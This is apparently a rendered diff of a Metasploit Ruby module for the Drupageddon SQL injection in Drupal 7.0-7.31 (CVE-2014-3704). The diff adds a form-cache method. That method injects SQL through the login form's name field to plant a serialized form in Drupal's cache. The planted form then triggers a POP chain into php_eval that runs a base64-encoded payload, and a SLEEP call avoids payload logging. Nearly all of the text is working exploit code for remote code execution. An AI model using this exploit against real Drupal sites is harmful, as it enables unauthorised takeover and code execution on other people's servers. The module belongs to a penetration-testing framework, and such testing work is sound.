@@ -16,13 +16,28 @@ def initialize(info={})
16
16
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
17
17
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
18
18
in 7.32).
19
+
20
+ Two methods are available to trigger the PHP payload on the target:
21
+
22
+ - set TARGET 0:
23
+ Form-cache PHP injection method (default).
24
+ This uses the SQLi to upload a malicious form to Drupal's cache,
25
+ then trigger the cache entry to execute the payload using a POP chain.
26
+
27
+ - set TARGET 1:
28
+ User-post injection method.
29
+ This creates a new Drupal user, adds it to the administrators group,
30
+ enable Drupal's PHP module, grant the administrators the right to
31
+ bundle PHP code in their post, create a new post containing the
32
+ payload and preview it to trigger the payload execution.
19
33
} ,
20
34
'License' => MSF_LICENSE ,
21
35
'Author' =>
22
36
[
23
37
'SektionEins' , # discovery
24
- 'Christian Mehlmauer' , # msf module
25
- 'Brandon Perry' # msf module
38
+ 'WhiteWinterWolf' , # form-cache PHP injection method
39
+ 'Christian Mehlmauer' , # user-post PHP injection method
40
+ 'Brandon Perry' # user-post PHP injection method
26
41
] ,
27
42
'References' =>
28
43
[
@@ -33,33 +48,134 @@ def initialize(info={})
33
48
'Privileged' => false ,
34
49
'Platform' => [ 'php' ] ,
35
50
'Arch' => ARCH_PHP ,
36
- 'Targets' => [ [ 'Drupal 7.0 - 7.31' , { } ] ] ,
51
+ 'Targets' =>
52
+ [
53
+ [ 'Drupal 7.0 - 7.31 (form-cache PHP injection method)' , { } ] ,
54
+ [ 'Drupal 7.0 - 7.31 (user-post PHP injection method)' , { } ]
55
+ ] ,
37
56
'DisclosureDate' => 'Oct 15 2014' ,
38
57
'DefaultTarget' => 0
39
58
) )
40
59
41
60
register_options (
42
- [
43
- OptString . new ( 'TARGETURI' , [ true , "The target URI of the Drupal installation" , '/' ] )
44
- ] )
61
+ [
62
+ OptString . new ( 'TARGETURI' , [ true , "The target URI of the Drupal installation" , '/' ] )
63
+ ] )
45
64
46
65
register_advanced_options (
47
- [
48
- OptString . new ( 'ADMIN_ROLE' , [ true , "The administrator role" , 'administrator' ] ) ,
49
- OptInt . new ( 'ITER' , [ true , "Hash iterations (2^ITER)" , 10 ] )
50
- ] )
66
+ [
67
+ OptInt . new ( 'Wait' , [ true , "Number of seconds to wait before triggering the payload sent (form-cache method only)." , 5 ] ) ,
68
+ OptString . new ( 'AdminRole' , [ true , "The administrator role (user-post method only)" , 'administrator' ] ) ,
69
+ OptInt . new ( 'Iter' , [ true , "Hash iterations (2^ITER, user-post method only))" , 10 ] )
70
+ ] )
71
+ end
72
+
73
+ ##
74
+ # Form-cache PHP injection method
75
+ # See details on:
76
+ # https://www.whitewinterwolf.com/posts/2017/11/16/drupageddon-revisited-a-new-path-from-sql-injection-to-remote-command-execution-cve-2014-3704/
77
+ ##
78
+
79
+ def sql_insert ( id , value )
80
+ curlyopen = rand_text_alphanumeric ( 8 )
81
+ curlyclose = rand_text_alphanumeric ( 8 )
82
+ value . gsub! ( '{' , curlyopen )
83
+ value . gsub! ( '}' , curlyclose )
84
+
85
+ "INSERT INTO {cache_form} (cid, data, expire, created, serialized) " \
86
+ + "VALUES ('#{ id } ', REPLACE(REPLACE('#{ value } ', '#{ curlyopen } ', " \
87
+ + "CHAR(#{ '{' . ord } )), '#{ curlyclose } ', CHAR(#{ '}' . ord } )), -1, 0, 1);"
88
+ end
89
+
90
+ def exploit_formcache
91
+ form_build_id = 'form-' + rand_text_alphanumeric ( 43 )
92
+
93
+ # Remove the malicious cache entries upon success.
94
+ evalstr = "cache_clear_all(array('form_" + form_build_id + "', " \
95
+ + "'form_state_" + form_build_id + "'), 'cache_form');"
96
+ evalstr << payload . encoded
97
+ evalstr = Rex ::Text . encode_base64 ( evalstr )
98
+ # '<?php' tag required by php_eval().
99
+ evalstr = "<?php eval(base64_decode(\\ '#{ evalstr } \\ '));"
100
+ # Don't count the backslashes.
101
+ evalstr_len = evalstr . length - 2
102
+
103
+ # Serialized malicious form state.
104
+ # The PHP module may be disabled (and should be).
105
+ # Load its definition manually to get access to php_eval().
106
+ state = 'a:1:{s:10:"build_info";a:1:{s:5:"files";a:1:{'
107
+ state << 'i:0;s:22:"modules/php/php.module";'
108
+ state << '}}}'
109
+ # Initiates a POP chain in includes/form.inc:1850, form_builder()
110
+ form = 'a:6:{'
111
+ form << 's:5:"#type";s:4:"form";'
112
+ form << 's:8:"#parents";a:1:{i:0;s:4:"user";}'
113
+ form << 's:8:"#process";a:1:{i:0;s:13:"drupal_render";}'
114
+ form << 's:16:"#defaults_loaded";b:1;'
115
+ form << 's:12:"#post_render";a:1:{i:0;s:8:"php_eval";}'
116
+ form << 's:9:"#children";s:' + evalstr_len . to_s + ':"' + evalstr + '";'
117
+ form << '}'
118
+
119
+ # SQL injection key lines:
120
+ # - modules/user/user.module:2149, user_login_authenticate_validate()
121
+ # - includes/database/database.inc:745, expandArguments()
122
+ sql = sql_insert ( 'form_state_' + form_build_id , state )
123
+ sql << sql_insert ( 'form_' + form_build_id , form )
124
+ # Causes PHP script to timeout, avoiding payload logging.
125
+ sql << 'SELECT SLEEP(666);'
126
+
127
+ # Use the login form to inject the malicious cache entry.
128
+ # '!' follows redirects, used by some Drupal sites to enforce clean URLs.
129
+ # Don't check the return code as it *will* timeout.
130
+ send_request_cgi! ( {
131
+ 'uri' => normalize_uri ( target_uri . path ) ,
132
+ 'method' => 'POST' ,
133
+ 'vars_post' => {
134
+ # Don't use 'user_login_block' as it may be disabled.
135
+ 'form_id' => 'user_login' ,
136
+ 'form_build_id' => '' ,
137
+ "name[0;#{ sql } #]" => '' ,
138
+ # This field must be located *after* the injection.
139
+ "name[0]" => '' ,
140
+ 'op' => 'Log in' ,
141
+ 'pass' => Rex ::Text . rand_text_alpha ( 8 )
142
+ } ,
143
+ 'vars_get' => {
144
+ 'q' => 'user/login'
145
+ }
146
+ } , timeout = datastore [ 'Wait' ] )
147
+
148
+ # Trigger the malicious cache entry using its form ID.
149
+ send_request_cgi! ( {
150
+ 'uri' => normalize_uri ( target_uri . path ) ,
151
+ 'method' => 'POST' ,
152
+ 'vars_post' => {
153
+ 'form_id' => 'user_login' ,
154
+ "form_build_id" => form_build_id ,
155
+ "name" => Rex ::Text . rand_text_alpha ( 10 ) ,
156
+ 'op' => 'Log in' ,
157
+ 'pass' => Rex ::Text . rand_text_alpha ( 10 )
158
+ } ,
159
+ 'vars_get' => {
160
+ 'q' => 'user/login'
161
+ }
162
+ } )
51
163
end
52
164
165
+ ##
166
+ # User-post PHP injection method
167
+ ##
168
+
53
169
def uri_path
54
170
normalize_uri ( target_uri . path )
55
171
end
56
172
57
173
def admin_role
58
- datastore [ 'ADMIN_ROLE ' ]
174
+ datastore [ 'AdminRole ' ]
59
175
end
60
176
61
177
def iter
62
- datastore [ 'ITER ' ]
178
+ datastore [ 'Iter ' ]
63
179
end
64
180
65
181
def itoa64
@@ -133,7 +249,7 @@ def extract_form_ids(content)
133
249
return form_build_id , form_token
134
250
end
135
251
136
- def exploit
252
+ def exploit_newuser
137
253
138
254
# TODO: Check if option admin_role exists via admin/people/permissions/roles
139
255
@@ -352,4 +468,19 @@ def exploit
352
468
'cookie' => cookie
353
469
)
354
470
end
471
+
472
+ ##
473
+ # Main
474
+ ##
475
+
476
+ def exploit
477
+ case datastore [ 'TARGET' ]
478
+ when 0
479
+ exploit_formcache
480
+ when 1
481
+ exploit_newuser
482
+ else
483
+ fail_with ( Failure ::BadConfig , "Invalid target selected." )
484
+ end
485
+ end
355
486
end
0 commit comments